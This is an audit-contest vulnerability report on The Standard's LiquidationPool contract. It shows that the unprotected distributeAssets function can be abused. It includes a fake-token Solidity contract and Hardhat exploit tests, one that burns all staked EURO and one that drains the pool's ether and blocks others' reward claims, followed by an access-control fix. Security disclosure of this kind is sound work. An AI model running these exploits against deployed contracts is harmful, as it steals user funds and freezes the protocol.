The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

User can burn all of staked `EURO` or take all ether from contract due to lack of access control and no input validation in `distributeAssets`.

Summary

distributeAssets is used to distribute collateral from vault liquidations. It is expected to be called from LiquidationPoolManager, however there in no check for that. This function can be called by anyone with malicious paramas and can be used to burn all of the user's EURO balances. Also this function can be used to steal all the ether from the contract.

Vulnerability details

function runLiquidation(uint256 _tokenId) external {
ISmartVaultManager manager = ISmartVaultManager(smartVaultManager);
manager.liquidateVault(_tokenId);
distributeFees();
ITokenManager.Token[] memory tokens = ITokenManager(
manager.tokenManager()
).getAcceptedTokens();
ILiquidationPoolManager.Asset[]
memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
uint256 ethBalance;
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
ethBalance = address(this).balance;
if (ethBalance > 0)
assets[i] = ILiquidationPoolManager.Asset(
token,
ethBalance
);
} else {
IERC20 ierc20 = IERC20(token.addr);
uint256 erc20balance = ierc20.balanceOf(address(this));
if (erc20balance > 0) {
assets[i] = ILiquidationPoolManager.Asset(
token,
erc20balance
);
ierc20.approve(pool, erc20balance);
}
}
}
LiquidationPool(pool).distributeAssets{value: ethBalance}(
assets,
manager.collateralRate(),
manager.HUNDRED_PC()
);
forwardRemainingRewards(tokens);
}
LiquidationPool(pool).distributeAssets{value: ethBalance}(
assets,
manager.collateralRate(),
manager.HUNDRED_PC()
);

distributeAssets is called in runLiquidation function in LiquidationPoolManager with correct paramas.

Now let's take a look at distributeAssets itself:

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}

As we can see there is no access control and no input validation. distributeAssets will "buy" tokens from manager and user's staked EURO will be used to pay for the liquidated assets. Function takes portion of the rewards that the user will receive and checks if he can afford it. If so it will use calculated costInEuros. If user's staked EURO does not allow him to buy the full amount of the liquidated assets, the function will calculate the amount of assets that the user is able to buy using his balance. Then the amount will be subtracted from user's position.

uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}

One of the possible exploits is that attacker could use some fake ERC20 which simply returns true from IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion); whenever it is called. Then he could craft custom params which can be manipulated in many ways. Then the user will burn all of the staked EURO because distributeAssets use user's staked EURO to pay for the collateral received from liquidtation.

I will show step by step scenario and provide a PoC. The test will show, that all EURO can be burned using distributeAssets.

  1. User has to find or create custom token that matches ERC20 standard. I will use custom ERC20 in my PoC with transferFrom simply returning true whenever it is called.

function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
return true;
}
  1. Create parameters for distributeAssets function. distributeAssets expects 3 params, ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC. In this scenario we will skip manipulating _collateralRate and _hundredPC, but these also can be manipulated.

Let's manipulate _assets array.

  1. _assets array is made of structs which hold token struct and amount to be split among stakers.

struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
struct Asset { ITokenManager.Token token; uint256 amount; }

The first part of Asset struct is a Token struct

  • as a bytes32 symbol use our fake ERC20 symbol (shown in PoC)

  • as an address addr use address of fake ERC20

  • as uint8 dec use decimals of fake ERC20

  • as address clAddr use any chainlink price feed address (any asset), (we will use WBTC / USD in PoC)

  • as uint8 clDec use 8 as it is the precision of the price from chainlink price feed

The second part of the Asset struct is the amount:

  • as an uint256 amount we need to provide value big enough to burn all of the user's EUROs. Since we use fake token we can pass any big value because SafeTransferFrom will always return true and distributeAssets function does not check how many tokens it received.

  1. After calling distributeAssets all of the users EUROs will be used to pay for worthless tokens which do not even exist.

PoC

Please add this file to contracts/utils. This token can be used by an attacker to burn all of user's euro

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MockFakeToken is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public returns (bool) {
return true;
}
function allowance(
address owner,
address spender
) public view returns (uint256) {
return 0;
}
function approve(address spender, uint256 amount) public returns (bool) {
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
return true;
}
}

Please add this test to test/liquidationPool.js and run npx hardhat test

describe("Exploit", () => {
it("allows an attacker to burn all EURO in system with fake token", async () => {
const MockFakeToken = await ethers.getContractFactory("MockFakeToken");
const mockFakeToken = await MockFakeToken.deploy("FAKE", "TKN");
const WBTCPrice = 4247973500000
const WBTCPriceFeed = await (await ethers.getContractFactory('ChainlinkMock')).deploy('WBTC / USD');
await WBTCPriceFeed.setPrice(WBTCPrice);
// User balances and staking values
const balance = ethers.utils.parseEther('5000');
const tstVal = ethers.utils.parseEther('4000');
const eurosVal = ethers.utils.parseEther('3000');
// User 1 tokens
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
// User 1 approves tokens to LiquidationPool
await TST.connect(user1).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosVal);
// User 2 tokens
await TST.mint(user2.address, balance);
await EUROs.mint(user2.address, balance);
// User 2 approves tokens to LiquidationPool
await TST.connect(user2).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user2).approve(LiquidationPool.address, eurosVal);
// User 1 stakes his tokens
await LiquidationPool.connect(user1).increasePosition(tstVal, eurosVal);
// User 2 stakes his tokens
await LiquidationPool.connect(user2).increasePosition(tstVal, eurosVal);
// Increase time to make this stakes eligible for rewards, add one extra hour to be sure
await network.provider.send("evm_increaseTime", [60 * 60 * 25])
let { _position } = await LiquidationPool.position(user1.address);
expect(_position.EUROs).to.equal(eurosVal);
({ _position } = await LiquidationPool.position(user2.address))
expect(_position.EUROs).to.equal(eurosVal);
// Craft params for a call
const fakeSymbol = ethers.utils.formatBytes32String("TKN")
const fakeTokenAddress = mockFakeToken.address
const fakeDecimals = 18
const fakeChainlinkAddress = WBTCPriceFeed.address
const fakeChainlinkDecimals = 8
const amount = ethers.utils.parseEther('10000') // does not really matter what value is here, it has to be big enough to erase all of tokens
const tokenStruct = {
symbol: fakeSymbol,
addr: fakeTokenAddress,
dec: fakeDecimals,
clAddr: fakeChainlinkAddress,
clDec: fakeChainlinkDecimals
}
const params = [[tokenStruct,amount]]
await LiquidationPool.distributeAssets(params, 110000, 100000);
({ _position } = await LiquidationPool.position(user1.address));
expect(_position.EUROs).to.equal('0');
({ _position } = await LiquidationPool.position(user2.address))
expect(_position.EUROs).to.equal('0');
})
})

It shows that distributeAssets does not validate the inputs and has no access control. An attacker user could burn all the user's EURO.

There is also a possibility that the attacker will have an opportunity to buy most of the tokens from this pool. To do that he would need to know 24 hours in advance about the incoming liquidations. Then create new stake with big amount of TST and EURO to cover the payment for liquidated assets. Then he could use this exploit to wipe people's positions and right before the liquidation, his stake will be consolidated. After all that he will have and opportunity to buy these assets with EURO. This is very hard to do due to long pre stake period, however it is still doable.

There is a third option that this function can be exploit for profit. User can basically buy ether in the contract (which was not yet claimed by others) on huge discount and DoS other users disallowing them to withdraw rewards. This can be achieved by:

  1. Creating _assets array

struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
struct Asset { ITokenManager.Token token; uint256 amount; }

The first part of Asset struct is a Token struct

  • as a bytes32 symbol use ehter symbol used in protocol

  • as an address addr use address(0)

  • as uint8 dec 18

  • as address clAddr use any chainlink price feed address, it is important to use price feed which returns the lowest possbile price, this will be the price used to calculate price of ether

  • as uint8 clDec use the decimals value that chosen price feed uses

The second part of the Asset struct is the amount:

  • as an uint256 amount we need to provide value that will allow us an other users to withdraw the whole balance of the contract, but we will have to be first to do it because when we withdraw all the ETH others will not receive any ether, it will also make claiming other rewards imposible since contract would try to send ether that is does not hold. As a result it will revert and no other rewards will be sent. So this exploit not only steals ether from contract. It also DoS other users and freezes all of the funds inside the contract.

It is possible because distributeAssets simply adds ether amount and does not validate if it is a real value received:

if (asset.token.addr == address(0)) {
nativePurchased += _portion;
}
  1. After calling distributeAssets attacker will have most or all of the eth and other user will not be able to withdraw any rewards, because the function will try to send more ether than the contract has and revert.

Please take a look at the PoC for this exploit to see example values and steps that are required to take advantage of this function.

PoC 2

Please add this test to test/liquidationPool.js

describe("Exploit2", () => {
it("allows an attacker to steal all the ether and DoS other users", async () => {
// Eth to be distributed
const ethCollateral = ethers.utils.parseEther('10');
const newBalanceHex = ethCollateral.toHexString().replace("0x0", "0x");
await hre.network.provider.send("hardhat_setBalance", [
LiquidationPool.address,
newBalanceHex, // Set the desired Ether balance
]);
console.log("Pool ether balance (ether not claimed by user)")
console.log(await ethers.provider.getBalance(LiquidationPool.address))
console.log("Attacker balance")
console.log(await ethers.provider.getBalance(user1.address))
// Price from oracle (Lira price from 02.01.2024)
const LiraPrice = 3366629
const LiraPriceFeed = await (await ethers.getContractFactory('ChainlinkMock')).deploy('TRY / USD');
await LiraPriceFeed.setPrice(LiraPrice);
// User balances and staking values
const balance = ethers.utils.parseEther('5000');
const tstVal = ethers.utils.parseEther('4000');
const eurosVal = ethers.utils.parseEther('3000');
// User 1 tokens
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
// User 1 approves tokens to LiquidationPool
await TST.connect(user1).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosVal);
// User 2 tokens
await TST.mint(user2.address, balance);
await EUROs.mint(user2.address, balance);
// User 2 approves tokens to LiquidationPool
await TST.connect(user2).approve(LiquidationPool.address, tstVal);
await EUROs.connect(user2).approve(LiquidationPool.address, eurosVal);
// User 1 stakes his tokens
await LiquidationPool.connect(user1).increasePosition(tstVal, eurosVal);
// User 2 stakes his tokens
await LiquidationPool.connect(user2).increasePosition(tstVal, eurosVal);
// Increase time to make this stakes eligible for rewards, add one extra hour to be sure
await network.provider.send("evm_increaseTime", [60 * 60 * 25])
let { _position } = await LiquidationPool.position(user1.address);
expect(_position.EUROs).to.equal(eurosVal);
({ _position } = await LiquidationPool.position(user2.address))
expect(_position.EUROs).to.equal(eurosVal);
// Craft params for a call
const TestSymbol = ethers.utils.formatBytes32String('ETH')
const TestAddress = ethers.constants.AddressZero
const TestDecimals = 18
const TestChainlinkAddress = LiraPriceFeed.address
const TestChainlinkDecimals = 8
const amount = ethers.utils.parseEther('20')
const tokenStruct = {
symbol: TestSymbol,
addr: TestAddress,
dec: TestDecimals,
clAddr: TestChainlinkAddress,
clDec: TestChainlinkDecimals
}
const params = [[tokenStruct,amount]]
await LiquidationPool.distributeAssets(params, 100000, 100000);
console.log("Pool ether balance (ether not claimed by user)")
console.log(await ethers.provider.getBalance(LiquidationPool.address))
await LiquidationPool.connect(user1).claimRewards()
console.log("Pool ether balance (ether not claimed by user)")
console.log(await ethers.provider.getBalance(LiquidationPool.address))
console.log("Attacker balance")
console.log(await ethers.provider.getBalance(user1.address)) // 10 eth more - gas
// Others will not be able to withdraw their rewards
await expect(LiquidationPool.connect(user2).claimRewards()).to.be.reverted;
})
})

Impact

All of the EURO in LiquidationPool will be burned meaning loss of funds for the users. Also an attacker can buy ether for little to no EURO stealing from contract and DoSing claimRewards function for other users.

Tools used

VScode, Manual Review, Hardhat

Recommendations

To prevent this exlopit from happening the protocol could implement access control for distributeAssets function. It should ensure that this function can only be called by the LiquidationPoolManager.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

informational/invalid

ke1caM Submitter
almost 2 years ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.